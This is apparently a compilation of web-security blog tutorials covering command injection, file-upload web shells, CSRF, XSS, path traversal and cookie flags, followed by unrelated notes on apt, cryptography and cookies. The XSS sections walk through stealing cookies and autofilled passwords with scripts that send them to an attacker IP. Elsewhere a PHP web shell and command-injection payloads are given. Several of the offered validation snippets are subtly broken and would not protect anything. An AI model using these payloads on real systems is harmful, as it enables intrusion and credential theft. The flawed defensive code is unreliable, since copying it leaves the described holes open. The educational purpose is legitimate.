Command Injection

Executing a Command Injection attack simply means running a system command on someones server through a web application. Executing the command is of course the easy part, the hard part is finding and exploiting the vulnerable crack in the system which could be anything from an insecure form field on a web page to an open port in the network interface.

This is in fact the first reason why you should always set up your server with multiple user accounts, so different processes that don’t need access to each others files and even if your application is vulnerable, no exploit can do serious harm. A web application especially should never have root permissions.

Finding a vulnerability

First you need to think of all the ways your server and the outside world can communicate with each other. Pen testers would probably start with mapping out all available IPs and ports to find out what services are running on a server. We however are going to concentrate on the simplest approach – we’re going to try to attack a server through a website, because a submitted form sends information to the server and probability is high that the server will respond through the website with something in return.

To find a vulnerable form all you need to do is try a bash command in all of the inputs (just like XSS). For example ls; should list all files in whatever directory the webapp is at (Windows servers have different commands, like dir &). Depending on what command is executed in the server you may need to adjust the testing command to ; ls;. Sometimes even when the input is vulnerable you wont know it, because even though the command executes the server doesn’t reveal the results. In this case you could try pinging your server (; ping 172.521.43.11;) and checking your logs to see if the ping reaches your server.

Example vulnerability

The most obvious form that may be vulnerable is one that clearly executes some system command on the server. Take for example this pinging service. Enter an IP and it’ll ping 4 times and give you the results.

The format of the returned (red) text sure looks like something from a Linux terminal. If you’re familiar with Unix Bash you’ll recognize this as the ping command which works just by supplying the IP: ping 104.244.42.1. In fact, that’s exactly what the server does in this case.

Not all vulnerabilities are so obvious though. Usually the input doesn’t look strange at all.

Here you can upload a file or add an url directing to a file to update your profile image. What you don’t see is that in the background a command called convert is used to crop your image from a rectangle to a circle. To find this kind of a vulnerability you can insert a command separated by semicolons:

You can see that the pwd printed out the web applications current directory in the errors field. Why does this work? Because there’s a PHP line in the server that looks like this: exec("convert {$_GET['filename']} -crop 200x200 {$newname}");. And when we insert a; pwd; as the url then what gets executed in bash is convert a; pwd; -crop 200x200 {$newname} which stops the convert file and runs our own.

Real world importance

Being able to run commands as a certain user on a system means having almost full access to that account. So everything from your code to database credentials may be available for the hacker. Or if the cyber criminal so chooses he or she can silently replace content on your site that suits his or her preferences.

There are large scale attacks going around that exploit specific vulnerabilities. For example in 2016 an exploit was found on a router that used the NTP servers ability to run commands remotely to build a botnet. Millions of routers were vulnerable to this and there are many more attacks like this against routers and other things connected to the internet.

What I’m saying is Command Injection is still very much a thing and your web application could be scanned for vulnerabilities at any time so make sure to protect yourself.

OMG save my server!

There are many ways to protect against this.

Don’t run system commands

Well obviously this is the perfect protection, but not exactly plausible in every situation. Just make sure you really need to execute system commands before implementing them. A good practice instead is to use methods specifically designed for use-cases like this – pcntl_fork and pcntl_exec. Many developers do not like to use these as implementation is not always straight forward. Additionally instead of wget developers should use PHP Client URL library for fetching files from external resources.

Validate user input

If there is no way around executing system commands then you need to make sure the user has not written any malicious code into a form field. The easiest way is to just check for suspicious symbols like ; and #. This is called blacklisting. To be really sure however you’ll need to instead make sure what kind of strings are allowed and whitelist the symbols. For example if your command accepts a filename then you need to whitelist letters, numbers and the dot ..

Here’s a PHP example with Regex where a user can delete a file:

if (preg_match('/^[a-zA-Z0-9]+..{1,5}$/g', $filename)) {
exec('rm {$filename}'); // is filename so execute command
} else {
throw new Exception('Not a filename');
}

Whitelisting filenames and URLs might turn out neigh to impossible with a simple regular expression. File names and URLs can contain valid characters which the reg-ex will match against and block.

The next example is vulnerable, as it does no sanitation of user input. The user can insert any malicious code that he can come up with and PHP will execute it on the server.

if (!empty($_POST['uri'])){
$newfile = 'uploads/users/'.end(explode('/', $_POST['uri']));
exec("wget -O {$newfile} {$_POST['uri']}", $o, $r);
$errors = array_merge($errors, $o);
}

A quick fix for this can be the usage of escapeshellarg() method, that will add single quotes around all the user input. This approach is acceptable but not always the best.

As an additional precaution the developer should be aware of is that sometimes he needs to be get additional parameters from the website dynamically. A good example here is ImageMagick, which does image manipulation. The next example is the path shown to the enduser after something unexpected was encountered. Additionally to the filename, the address is indicating acceptance of additonal arguments – x and y, which the user is able to change.

../?page=profile_image&id=6&filename=uploads%2Fusers%2F
image_1_520x347.JPG&x=0&y=0

In this case the code must sanitize also the arguments to allow just integer values to be passed and bail on anything else.

Code review

Regex can get complicated so make sure you have a teammate or coworker review your code and if possible have a tester try their tricks and hacks on it too.

Keep user permissions separate

As a precaution it helps for the administrator of the server to keep the user accounts separate when possible. Most importantly the web application should have no more permissions than absolutely necessary. Especially don’t give it root permissions – that’s just an accident waiting to happen.

Unrestricted File Upload

Here’s a simple attack that may not seem as common these days, but even with sufficiently secure frameworks unknowing developers can bypass security features and produce a vulnerable application. Even large IT companies stumble sometimes. Do not let it come to you as a surprise, as there are loads of ways to attack and bypass security features.

Note that uploading malicious files is usually not a problem, unless there’s another security vulnerability that enables to exploit it. It makes sense to fix this security hole anyway, because you don’t know when someone is going to find a new fault with your system.

What is it?

The idea is quite straightforward. A hacker uses your file upload form to hack into your system. There are loads of ways to exploit this vulnerability. A common way is to fetch other users’ session IDs by putting XSS in the filename or get sensitive server information by uploading a PHP file and running it by exploiting the Path Traversal vulnerability.

Exploiting a vulnerable field

While there is a large list of things you should test and tools to help you do it, let’s keep it simple for the purpose of explaining the basic concept. Since we already covered XSS let’s focus on executing files on the server.

This attack is only applicable to PHP servers that are also vulnerable to Path Traversal. While simple to understand, it’s a good example of how dangerous an attack can be.

1. Create a malicious file to upload

Name the file something like “go.php”. The contents can be <?phpexec($_GET['cmd']); ?>. What does it do? exec is a shell command execution function, so any linux command you put as the function parameter will be executed as if it was the operating system itself. $_GET['cmd'] fetches the cmd parameter value from the url which is then passed on to the exec function.

2. Upload the file

Just upload this file through a normal file upload form on a webpage. You will probably get an error saying “php extension not allowed” so just rename your file to “go.jpg”, because images are almost always accepted and php doesn’t really care what the file extension is.

3. Execute the file

Since in this example we assume the website is vulnerable to Path Traversal, we’re going to use that to execute the file.

http://example.com?page=profile&avatar=uploads/users/go2.jpg&cmd=pwd

Notice the cmd= part. We have just implemented a PHP Shell. We can now run PHP commands through the file we uploaded. This opens the server up to a whole range of other attacks. Only to the range that the server-user allows of course, so never set up your web server with root permissions!

Fixing

There are many ways to fix this particular vulnerability:

  1. Remove Path Traversal functionality.
  2. Stop inclusion in user-upload directories.
  3. Make sure the file contents match the filetype (assuming you’re already checking filetypes).
  4. Never let the user know in which directory the file has been or will be uploaded to.
  5. Never use the original filename for the file that has been uploaded, so the user won’t know what the filename is after it has been uploaded. This means you need to generate a random hash for each file and save the original name in the database.

So What Exactly Did I Just Read?

Unrestricted File Upload is a nasty exploit that can be used in conjunction with other vulnerabilities. It can be used for a lot of different nasty things like running malicious code and commands on a web server. A lot of ways to patch it include patching other vulnerabilities at the same time.

Cross Site Request Forgery

When Sir Timothy (aka Tim Berners-Lee) designed the first version of his new information system in 1989 (that became the Web two years later), it was meant for connecting various research documents via references. Back then, and even later when the budding Web started to grow, there was no need for tracing the reader’s progress – when a page was revisited, it was opened from the beginning again. To this day, the main protocol of the Web, HTTP, is a bit like a senile senior to whom his/her children must re-introduce themselves all over every time they pay a visit.

The Web Today

But in today’s Web, we need to log into websites, carry out different interactions (e.g. online purchases, bank transfers) and also customize the sites on the fly (e.g. choosing the language that we know best). To address this, different means like Web cookies and sessions were developed later on. While these have a lot of legitimate uses, they can also bring along new threats.

A very telling example – in two different ways – is the one described at PrivacyLog (What happens when you send a zero day to a Bank). First off, it shows that the fact that significant amounts are involved does not necessarily mean that the website handling them is secure. Second, it is a prime example of the deadly combo of incompetence and boneheadedness from the site owners’ part – instead of thanking the informer and fixing the problem, they made several attempts to shoot the messenger while totally ignoring the actual security risk. Unfortunately, this is by far not a lone case of managerial ignorance in information security.

The Cross-Site Request Forgery (CSRF) is one of the common Web attacks that re-uses the user’s session information to perform various tasks defined by the attacker. While it was ranked 8th in the OWASP Top 10 in 2017, it is still very effective if the website is vulnerable to it. In short, it is a situation where the user (and his/her Web browser) is trusted by the website – e.g. the user has logged in with valid username and password – and the attacker has crafted another website for delivering the attack. Now when the user is visiting the initial website, the attack will be executed on the user’s browser and with his/her credentials. Most importantly, the user is not aware that anything has happened at all, as the browser is completing the requested instructions.

There are some conditions that need to be met in order to carry out a CSRF attack (due to these, the attack method is actually less common than some others):

  • The targeted user must be logged in to the system
  • The attacker must possess good knowledge about the target website (e.g. which fields must be filled in a form)
  • The targeted user must be tricked to visit the malicious web page.

What makes the attack much more dangerous is the fact that it can be used on network devices like routers (see specific cases describing a very popular dd-wrt router software vulnerability and how TP-Link routers can be exploited) and increasingly other connected equipment forming the Internet of Things.

Prevention and protection ain’t that simple

Many modern frameworks like Django and Ruby on Rails have CSRF protection methods already implemented. The frameworks add additional safeguards like X-CSRF-Token header automatically to the application code (Rails) whereas Django uses CSRF middleware that is enabled by default.

Possibly the best protection against CSRF attacks is provided by same-site cookies. Regrettably this feature is only supported by Chrome and Opera at the moment, other browsers will just ignore it. Basically it just takes adding a new attribute to cookies, called SameSite

Set-Cookie: sess=xyz987; path=/; SameSite

The attributes are "Strict" (the default, just "Samesite" equals to"Samesite=Strict") allowing ony requests from the same site, and “Lax” that allows some cross-site activity but still mitigates some risks.

Check out the browsers that support SameSite cookie attribute

Next best defence is installing the OWASP CSRFProtector which is inserting a CSRF token to all unprotected forms and validates the requests. The same result can be achieved by implementing JavaScript based solutions.

Other means to counter CSRF attacks include

  • validate referer header
  • without the token in submitted form, the user has to re-validate identity
  • FORM protection with CSRFToken (secret validation token)
  • Custom HTTP headers

Cross Site Scripting

You’ve probably heard about Cross-site scripting (XSS), but nowadays it sounds like a distant memory of a problem that existed in the 90’s. In reality it’s still a very much important threat. It’s not on the top 10 list on OWASP for no reason. Need proof? Check out how XSS was used to take over admin accounts on Wix.com (with 90 million users) or how Slack was hacked. These bugs have since been fixed of course, but there are many more.

The point of XSS is to fool the user or browser into giving sensitive information or performing actions in the attackers interest.

How? By modifying the HTML. By changing the HTML you can change what the user sees. Perhaps insert a plausible login form on a trusted site, which submits the info to your server. Maybe you’d like the inject a piece of Javascript that performs 3 clicks where you need them. If a site is vulnerable, the users are at risk.

Here are the 3 main ways of attacking through XSS:

Stored

The most common form of attack. If you are able to store your malicious HTML in the servers database – it’s called Stored XSS. This can be achieved by

Submit by form

Consider a blog site with a comments area. You type you comment into the <input>and submit. If this input and/or the displaying of the text is not protected you can submit a text like <script>$.post("http://111.11.11.11", {cookie: document.cookie})</script>. Any user who visits that comments page would now get their cookies hijacked and sent to my server.

To make sure this request isn’t blocked by and policies instead of a POST request we can instead load an image and embed the information in the link. Loading images aren’t restricted so thoroughly.

<script>new Image().src="http://111.11.11.11/"+encodeURI(document.cookie)</script>

As someone visits this page you can receive their cookie from your access log. If you’re on linux and the server is running Nginx, then the log is in the file /var/log/nginx/access.log.

In case you’re hacking a https website your link also has to be https.

Through browser headers

What if all the inputs are secure? Then you can consider other vectors. Admins always have a way of looking at logs – who’s accessed the site and when. Sometimes they can also see your headers. So if you insert a script into your headers and the admin sees them in an unsecure way you’ve gotten your attack across.

What are browser headers?

Whenever your browser requests for a page, it also sends extra information in it’s headers. It is just plain text information about who you are. It includes your browser information (called UserAgent), cookies (including sessionId), what link you came from and other technical stuff.

So if you go into your browser settings and change the header into the new Image()example we used above – you’ll know if someone got attacked (by again looking at your logs).

Reflected

Imagine a scenario where Stored XSS doesn’t work, but you need some user to execute a script (to give you some permissions for example). How do you force the user to run some script? Let’s assume the target user is not so gullible as to copy-paste your script into the console. He needs to be tricked into running it.

How about writing a script on your page that upon visiting will go to the target website and execute it? Well this wont work due to browser security. If the target website is vulnerable to Reflected XSS however, it can be used to work around the security.

Recognizing the vulnerability

Any element on a website that returns what you input is vulnerable. “Okay that’s a mouthful, how about speaking in peoples terms” – I hear you. Let’s work through an example.

When you submit something through a form and the website displays what you had written in plain text. This only works if the input isn’t escaped and displayed as is.

Exploiting the reflection

The real gem of this attack is that the source of your script is technically the target website itself, because your input is reflected by the website, get it? So the script to the browser looks like it came from the website thus must be secure (note, that the latest Chrome is not vulnerable anymore).

Let’s make the user execute this script: <script>$.post("http://target.web/api/newComment", {msg: "I got hacked guys!"})</script>. Obviously not a very complete example, but let’s keep the code short and clear.

We’ve scouted that the vulnerable input is a search that goes by the name of “query” and it makes a GET request to http://target.web/search?query=myinput. So all we need to do is have the target user click on a link on our website that has the script inside of it: http://target.web/search?query=<script>$.post("http://target.web/api/newComment", {msg: "I got hacked guys!"})</script>.

The problem now is that all the special characters like <>{} and " are not compatible with being in an URL. To fix this we encode the data with encodeURI('<script>$.post("http://target.web/api/newComment", {msg: "I got hacked guys!"})</script>') and thus the final link is:

http://target.web/search?query=%3Cscript%3E$.post(%22http://target.web/api/newComment%22,%20%7Bmsg:%20%22I%20got%20hacked%20guys!%22%7D)%3C/script%3E

Now all you need to do is get the user to click on it in a forum or email or any place really.

Stored based Phishing

The attack is about changing the HTML of a website to fool the user into submitting their sensitive information (password, address, credit card info).

Replacing the whole site is good for convincing the user they’re somewhere where they’re really not, but this isn’t always necessary.

How do you change the DOM? Usually this is done by utilizing Stored or Reflected XSS to insert a script that does the change. But you could also do this through a browser plugin or by a man-in-the-middle attack or whatever else way you find to manipulate the DOM for a user in an authentic website.

Okay so we’ve got Stored XSS and we can manipulate the DOM, what do we do with it? A simple example is acquiring the users password by faking a login form, getting the browser to autofill the username/password then sending the password by script to your server. Doesn’t sound simple? Trust me there are a lot more complex ways of attacking than this.

Here’s what we’re going to do:

  1. Use Stored XSS to insert a login form somewhere.
  2. Write a script into the form that sends the password to you.
  3. Retrieve the password from the logs.

The form

Well nothing very complex here. All we need to do is mimic a login form:

<form>
<input name="username"/>
<input name="password" type="password"/>
</form>

This is all you need for the form. If you are able to put this on http://target.web/article/123/comments then any user coming to that page with saved credentials will get these inputs filled.

The script

Now we need a script to go along with the form:

<script>$.get("http://111.11.11.11/stealpass/"+document.querySelector("[name=password]").value)</script>

This script assumes the site is using jQuery. Otherwise go with plain old javascript. You may also need to wait a second before executing the request, because the browser takes some time to fill the fields.

<script>setTimeout(function(){/* script in here */}, 1000)</script>

The logs

In your server (located at 111.11.11.11) you need to watch your access.logs. You’re probably using Nginx or apache so the file will be located at /var/log/nginx/access.log or /var/log/apache2/access.log. In the file you can search for stealpass because thats part of the URL we specified.

There you go, you’ve got the password for the user.

Protected browsers

Currently Chrome, but probably more browsers in the future, will block this kind of behavior. What they do is deny access to any inputs of fields on a page until a user clicks somewhere. You can get past this by rewriting the forms submit function.

Protecting your website

Check out our article (coming soon!) for more details on how to protect against these kind of threats.

Path Traversal

Path Traversal is a fancy name for what is basically just accessing different directories in the URL. “Say what?” I hear you say. This is a very basic form of attack, but let’s go through it step by step.

What is it?

Sometimes you see this in your URL of a website:

The uploads/IMG0624.JPG sure looks like a file system path. The / gives it away, probably Linux. It’s just like browsing files on your computer.

When changing the image name to IMG0625.JPG chances are you’re going to see another image. This means changing that path to anything will display the file (if it exists). So ?file=config.json could perhaps show us something interesting. Guessing like this takes a long time of course, so there are tools like DirBuster that are able find your files through brute forcing.

Attacking

If the server is truly vulnerable to Path Traversal, with some knowledge about the file system, you could access anything on the server.

Judging from the forward / we can assume the server is running on Linux. And Linux has a very specific file system structure. For example one of the more sensitive pieces of information we could attain would be /root/.ssh/id_rsa which is the private key of the server (notice the / at the beginning, the root directory is situated at the very beginning of the file system). By retrieving the key one could get access to the server using SSH and acquire valuable data that is accessable to that Private Key, like git repositories and other servers that are associated.

Another way to get to the beginning of the system is to use ../../../../../../root/.ssh/id_rsa. It basically goes up in directories as far as it can (you can have as many ../ as you like, because Linux doesn’t try to go passed the beginning of the file system, it will always end up in the / directory).

This specific example probably wont work on a basic server, unless the administrator who set it up gave the web application root permissions (never do that). So you’ll need to be clever to figure out what information you can access. Of course, the software engineer could have easily protected against Path Traversal in the first place.

Defending

There is no single fix to protect the whole server, but there are several security measures.

Server permissions

The web application (node.js, PHP etc) should not have more permissions than are absolutely necessary. Separating the app from the rest of the system with permissions means that even if the hacker gets access to your files, it can’t read the really sensitive information – like your ~/.ssh/id_rsa file as demonstrated above. This of course helps with other kinds of vulnerabilities too.

Don’t use direct file referencing

Usually developers create this functionality for easy uploads management, but it’s just not very safe. There are many ways around it like referencing the file by a randomly generated file ID or keeping your files on another server, like the popular Amazon S3. The general rule of thumb is to keep one server for one purpose to have it as tight as possible.

Input validation

This is taking the parameter value and making sure it’s up to the standard. There are many ways to do this.

Restrict access to just a single file. So in PHP basename(realpath($_GET['filepath'])) would only return the filename. This way you can be sure no one gets anything from any other directory. Of course this isn’t a very flexible solution.

Whitelisting directories. It’s best to have a concrete path where user access is allowed.

$allowedPath = "/var/www/useruploads/avatars";
$userinput = "../../index.php";
$fullpath = realpath($userinput);
if (substr($fullpath, 0, strlen($allowedPath)) === $allowedPath) {
// $fullpath starts with allowedPath
}

So what happens there is that $allowedPath . $userinput becomes /var/www/useruploads../../var/www/index.php, but realpath converts that into a sensible /var/www/index.php (if it finds the file in the first place). Then you check if the new path actually matches the $allowedPath. In this case not so the hacker is caught.

Whitelisting filenames or file types. If for example you would like to only allow .pngfiles to be allowed you would simply ask if the input string ending matches what you need.

$path = $_GET['filepath'];
if (substr($path, -3) !== ".md") {
// File is not .md
}

Filtering suspicious strings. You can make sure that the input string does not start with a / and does not contain any ../. This isn’t really a solution however, because you probably can’t think of all the possibilities the attacker can use plus they have an arsenal of bypassing methods (like encoding).

Cookie Security

Nowadays cookies are a vital part of browsing the internet. They are a way to keep track of your movements within a site and store data directly onto your web browser. Keeping them as secure as possible prevents bad people from hijacking your web sessions and stealing our identity.

What Are Cookies?

Cookies help keep track of your movements within a website, help you continue where you left off, remember preferences, and other customization functions. One of those cookies transmitted between the web server and web browser is called a session cookie. What it does is basically contain your virtual identity and remember your registered login. If your session cookie (or session ID, authentication cookie) for a website gets stolen then the one who stole it could use it to impersonate you on that same website and login under your identity. So it would make sense to keep those little bits (pun intended) of data secure.

Why Use Cookies?

Cookies make browsing the internet more convenient. The comfort of inserting your username and password only once during a browsing session makes the experience that much better. Without cookies, login credentials would have to be entered every time before adding a product to your cart or wish list when using an internet store.

Cookies Are Located in HTTP Headers

HTTP headers allow additional information to be passed between the web browser and the web server as requests or responses. There are many different types of HTTP headers. When the web server wants to set a cookie it passes back a header named “Set-Cookie” with the key-value pair and some options. On later requests the browser will send back its own header to let the web server know the name and value of its stored cookies. The web server will not continue to send back the cookies, it will only send them if there is a change.

HTTP vs HTTPS

Before we continue with cookies, we need to establish what HTTPS is and why it is more secure than HTTP.

HyperText Transfer Protocol or just HTTP is the underlying protocol used by the World Wide Web. HTTP defines how messages are formatted and transmitted, and what actions Web servers and browsers should take in response to various commands. For example, when you enter a URL in your browser, this actually sends an HTTP command to the Web server directing it to fetch and transmit the requested Web page.

HyperText Transfer Protocol Secure or just HTTPS is the secure version of HTTP, the protocol over which data is sent between your browser and the website that you are connected to. The ‘S’ at the end of HTTPS stands for ‘Secure’. It means all communications between your browser and the website are encrypted.

…Now Back to Cookies

If HTTPS is used instead of HTTP then an attacker who is eavesdropping on the network can’t see the cookie because it has been encrypted. Anyone can tell that this is the more secure option of the two. The trouble comes into play when a website is available both through HTTP and HTTPS or when a site is susceptible to Cross Site Scripting or XSS (learn about XSS from this blog). Stealing cookies and sessions has even been made easy and available through applications like Firesheep.

HttpOnly

If a website has an XSS vulnerability then an attacker can obtain the session cookie by injecting malicious code into a form field in the webpage. One way to help against the XSS vulnerability is to enable the HttpOnly flag on the server side. This will not let JavaScript read any of the cookies. But be aware that this is not a 100% safe method against XSS as the website cookies could still be susceptible to some forms of XSS like Cross Site Tracing. In addition XSS can be used to steal other data, not only cookies.

When HTTP protocol is used the cookies are passed in plain text, which allows an attacker to steal and/or modify the data. When HTTPS is used then he or she will not be able to see the data. The problems start when a website uses both HTTP and HTTPS. In these cases the cookie which is otherwise encrypted with HTTPS is sent to the HTTP pages without the encryption. To keep the web client from sending further cookies in plain text over HTTP the secure flag must be enabled from the server side. What it does is restrict sending cookie information to only over HTTPS.

How Do I Keep Them Secure?

There are several ways to keep your cookies secure, mainly by adding additonal flags to the cookie header. This can be done either by writing the flag setting into the code or by configurating the web server to do it later on.

How Do I Set the Flags in the Code?

In PHP you can set the arguments for cookies through optional arguments in the “setcookie” function. Within that function there are 2 boolean options: secure and httponly. Both must be set to “true”.

// Options
setcookie( name, value, expire, path, domain, secure, httponly);

// Example
setcookie('UserName','Peter',0,'/www','www.example.com',true,true);

To change the session cookie values you can use the “session_set_cookie_params” function, which has to be called before the session is started. Again, both secure and httponly options have to be set to “true”.

// Options
session_set_cookie_params( expire, path, domain, secure, httponly);

// Example
session_set_cookie_params(0,'/www','www.example.com',true,true);

…or in the PHP.ini file

Another option is to set the values in the php.ini file. Then you just set session.cookie_httponly and session.cookie_secure to “true”.

session.cookie_httponly = True
session.cookie_secure = True

So In Conclusion

Setting both secure and httponly flags for cookies is not really an option anymore, it is a must for every developer. Especially when setting them is as easy as 1 2 3. Without those security measures in place all the cookies in your web application will be susceptible to hijacking.

Linux Software Management Essentials

Linux, like most other operating systems, supports various types of software. Managing that software is a basic skill all Linux users should have. Doing it via a graphical user interface is usually pretty self-explanatory, as you just have to follow the instructions on the screen. Performing the same task by using a command line interface on the other hand is a whole different matter and could scare some Linux newcomers. To help crumble that fear a bit, here are some of the things to keep in mind about software management on a Linux-based operating system.

Software Mgmt On Linux-based OS

Most of today’s distributions of Linux-based operating systems install software in pre-compiled packages, which are archives that contain binaries of software, configuration files, and information about dependencies. Software on a Linux system often relies on other programs and libraries to work. These other programs are called dependencies. In addition, package management tools keep track of updates and upgrades so that the user doesn’t have to sniff out information about bug and security fixes. Different packet management software can be found on different Linux distributions. For example the Debian family uses dpkg (Debian Package Management System) and its front-end tools APT (Advanced Packaging Tool) and Aptitude; RPM (Red Hat Package Manager) with its tools YUM (Yellowdog Updater, Modified) and DNF (Dandified Yum) are used by RedHat; Packman Package Manager is used by Arch Linux and so forth. Each packet manager and tool has its own pros and cons. Software can also be installed using newers solutions like AppImageFlatpack and Snap. For the sake of this blog let’s focus on dpkg and it’s front-end tools.

Before You Install…

Before installing anything onto the operating system there is an important question you should ask yourself – from where do the required packages come from? When Linux installs new programs, it installs them from a repository (also known as a repo). APT has a nifty little file named /etc/apt/sources.list which contains a list of the repositories it uses. It’s quite clever. If it notices that a program depends on another program, it will install both at the same time so you don’t have to worry about it. It is possible to add new repositories into that file or remove the ones that are already there to accommodate your specific needs. Another way to add/remove repositories into/from the list is to use the add-apt-repository command. This creates a new source file with the repository info into the /etc/apt/sources.list.d/ directory. It is also possible to manually add source files into that directory.

An additional thing to do before installing anything with APT would be to update it’s cache with apt-get update. This will update the package database, which means it will update the list of available packages and their versions, but it does not install or upgrade any packages.

Example of /etc/apt/sources.list

deb http://us.archive.ubuntu.com/ubuntu xenial main universe
deb http://archive.ubuntu.com/ubuntu/ xenial-updates main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu/ xenial-security main restricted universe multiverse

Examples of add-apt-repository and updating the APT cache

Adds a repository into the file
  #add-apt-repository 'deb http://us.archive.ubuntu.com/ubuntu xenial main universe' 
Removes a repository from the file
  #add-apt-repository -r 'deb http://us.archive.ubuntu.com/ubuntu xenial main universe'
Updates the APT cache
  #apt-get update

There is one more important matter to attend to before going to the next subject. The apt-get package management utility uses public key cryptography to authenticate downloaded packages. apt-key is a program that is used to manage a keyring of gpg keys for secure apt. Each time you add another apt repository to /etc/apt/sources.list, you’ll also have to give apt its key if you want apt to trust it. Once you have obtained the key, you can validate it by checking the key’s fingerprint and then signing this public key with your private key. You can then add the key to apt’s keyring with apt-key add <key>.

Installing, Upgrading, Removing And Cleaning Up

On to installation. If you want to install something you just need to use the command apt-get install <name-of-package>. This will search the database to see if the package you need is present in the repositories listed in /etc/apt/sources.list. If it is there, then it will ask for a confirmation and then install the package on a positive reply. In case a package needs to be reinstalled the --reinstall parameter can be used with the command. If you want to know which versions of which packages will be installed you can use the -s parameter with install. This will run a simulation of the installation without actually changing anything in the system. It is also possible to install a package which is already in the filesystem. For that you cannot use the APT tool and have to use dpkg -i <path-to-package> instead.

Examples of installing packages

Installs htop from a repository in the sources.list file
 #apt-get install htop 

Simulates an install of htop without changing anything in the system
 #apt-get install htop -s

Reinstalls htop from a repository in the sources.list file
 #apt-get install --reinstall htop 

Installs htop from a package in the filesystem
 Package naming convention: 
 <Name>_<VersionNumber>-<DebianRevisionNumber>_<DebianArchitecture>.deb
 #dpkg -i /home/student/Downloads/htop_2.0.2-1_amd64.deb

There are 2 ways to upgrade installed software using the APT tool. The apt-get upgrade command upgrades all the the installed packages and their versions on the operating system. apt-get dist-upgrade also upgrades the packages and their versions but in addition handles changing dependencies with new versions of packages and will attempt to upgrade the most important packages at the expense of less important ones if necessary. Thus, the apt-get dist-upgrade command may actually remove some packages in rare but necessary instances. To only upgrade a specific package the apt-get install can be used on an already installed package.

Examples of upgrading packages

 #apt-get upgrade
#apt-get dist-upgrade
Upgrades the package if it already exists in the system
#apt-get install <name-of-package>

To delete a package the apt-get remove <name-of-package> command can be used. This will delete the package but leave all the configuration files intact and in place. If the configuration files also need to be deleted with the package then apt-get purge <name-of-package> should be used.

Examples of deleting packages

Deletes htop but leaves configuration files in place
 #apt-get remove htop 
Deletes htop with all of its configuration files
 #apt-get purge htop

It is good to regularly clean up the filesystem from not needed packages and the local repository from retrieved package files. apt-get clean can be used to clean the packages and install scripts which are housed in /var/cache/apt/archives/apt-get autoclean cleans obsolete deb-packages. The difference between apt-get clean and apt-get autoclean is that the latter only removes package files that can no longer be downloaded, and are largely useless. This allows a cache to be maintained over a long period without it growing out of control. apt-get autoremove is used to remove packages that were automatically installed to satisfy dependencies for some package and are no more needed.

Examples of cleaning up packages

 #apt-get clean
 #apt-get autoclean
 #apt-get autoremove

Information Gathering

Knowing which software packages are installed on an operating system is a crucial part of software management. The apt-cache command can display information which is stored in APT’s internal database. The stats subcommand will display overall statistics about the cache. Using search with apt-cache will display a list of matched packages with a short description and using show with apt-cache will display the details of a package. Both apt-cache pkgnames and dpkg -l list all the packages which are installed in the operating system with the latter command showing more information (version number, revision number, architecture, description). There are occasions when some package dependencies become broken. For example this can come up when a program depends on another program, but Linux can’t find it in the repositories. In these cases a good tool is apt-get checkwhich checks the system to see if there are any broken dependencies.

Examples of gathering information

Displays info about packages
 #apt-cache stats
 #apt-cache search htop
 #apt-cache show htop

Displays all installed packages
 #apt-cache pkgnames
 #dpkg -l

Checks for broken dependencies
 #apt-get check

Changing package settings

There are several states that can be set for a software package. With the manualsetting the package is marked as having been manually installed: you explicitly installed it, so the system will not remove it unless you ask for it to be removed. With the auto setting the package is marked as having been automatically installed and will be removed automatically upon uninstallation. On the other hand, some packages are installed because they’re dependencies of a package you manually installed. APT marks these dependencies as automatically installed. These packages are marked for auto-removal if they are no longer needed, for instance with apt-get autoremove. The hold setting is used when the package needs to be held back. It will not be possible to install, upgrade, or remove the package until the hold mark is removed. There are even more interesting settings and it is possible to change them with the apt-mark tool.

Examples of package setting commands

Changes the setting of the package to manual, auto or hold
 #apt-mark manual virtualbox
 #apt-mark auto virtualbox
 #apt-mark hold virtualbox
 #apt-mark unhold virtualbox

Displays a list packages which have the auto, manual or hold settings enabled
 #apt-mark showauto
 #apt-mark showmanual
 #apt-mark showhold

In Conclusion

So what should you remember from all of this? Every Linux distribution has its own package management system and they all have their pros and cons. Linux packages come from different repositories and there is a dependency system between the packages. If automatic tools like Apt are used, then no dependency problems should arise. Command line interfaces aren’t scary if you get to know them a little.

Introduction to Cryptography

What is Cryptography?

Cryptography derives its name from the Greek word “Kryptos,” which means “Hidden Secrets.” Cryptography is the practice and study of hiding information. It’s the Art or Science of converting a plain intelligible data into unintelligible data and again re-transforming that message into its original form. It provides Confidentiality, Integrity, Accuracy.

Encryption
The process of converting plain text into an unintelligible format (cipher text) is called Encryption.

Decryption
The process of converting cipher text into a plain text is called Decryption.

What’s Key?
In cryptography, a key is a variable value that is applied using an algorithm to a string or block of unencrypted text to produce encrypted text, or to decrypt encrypted text. The length of the key is a factor in considering how difficult it will be to decrypt the text in a given message.

What is a Block Cipher?
A method of encrypting/decrypting data. Key is used for encryption/decryption. Same size of I/P and O/P

What is Initialization Vector?
An initialization vector (IV) is an arbitrary number that can be used along with a secret key for data encryption.
It is a group of hex values.

Types of Cryptography

1. Symmetric Key Cryptography (Secret Key Cryptography)

2. Asymmetric Key Cryptography (Public Key Cryptography)

3. HASH FUNCTION

1. Symmetric Key Cryptography (Secret Key Cryptography)

a). The Same Key is used by both parties

b). Simpler and Faster

2. Asymmetric Key Cryptography (Public Key Cryptography)

a). Two different keys are used  Users get the Key from a Certificate Authority.

b). Authentication in asymmetric cryptography is more secured but the process is relatively more complex as the certificate has to be obtained from the certification authority.

3. HASH FUNCTION

a). Uses mathematical transformation to irreversibly encrypt information.

b). It is a one-way encryption

c). Uses no key for encryption and decryption.

Browser Cookies Explained

Most Internet users are familiar with the term “Cookie” but only a few know what exactly it is and the purpose it serves. This article will help you understand the working of different types of browser cookies in a simple and easy to follow manner.

To begin with, a cookie (also known as browser cookie, Internet cookie, web cookie or HTTP cookie) is a small piece of data that websites store on your hard disk in the form of a text file. Cookies allow websites to store specific information helpful to remember each visitor uniquely. A cookie is set when the user visits a particular website for the first time. Thereafter, each time the user loads the website the browser sends the cookie back to the web server so that it can keep track of the user’s previous activity.
Purpose of Browser Cookies:

The following are some of the common purposes served by cookies:

Enable automatic user log-in thereby eliminating the need for a password input
Enhance user experience by storing user preferences so that the site can look different for each visitor
Keep track of items in the shopping cart
Record user’s activity such as browsing history, click patterns, page visits and so on

Types of Browser Cookies:
Session Cookie

Since web pages have no memories, a visitor navigating to a different page on the same website is treated as an entirely new visitor. This is where session cookies come in handy. It makes it possible for the website to keep track of the user from page to page so that user specific information such as shopping cart data, account details and other preferences are not lost during navigation.

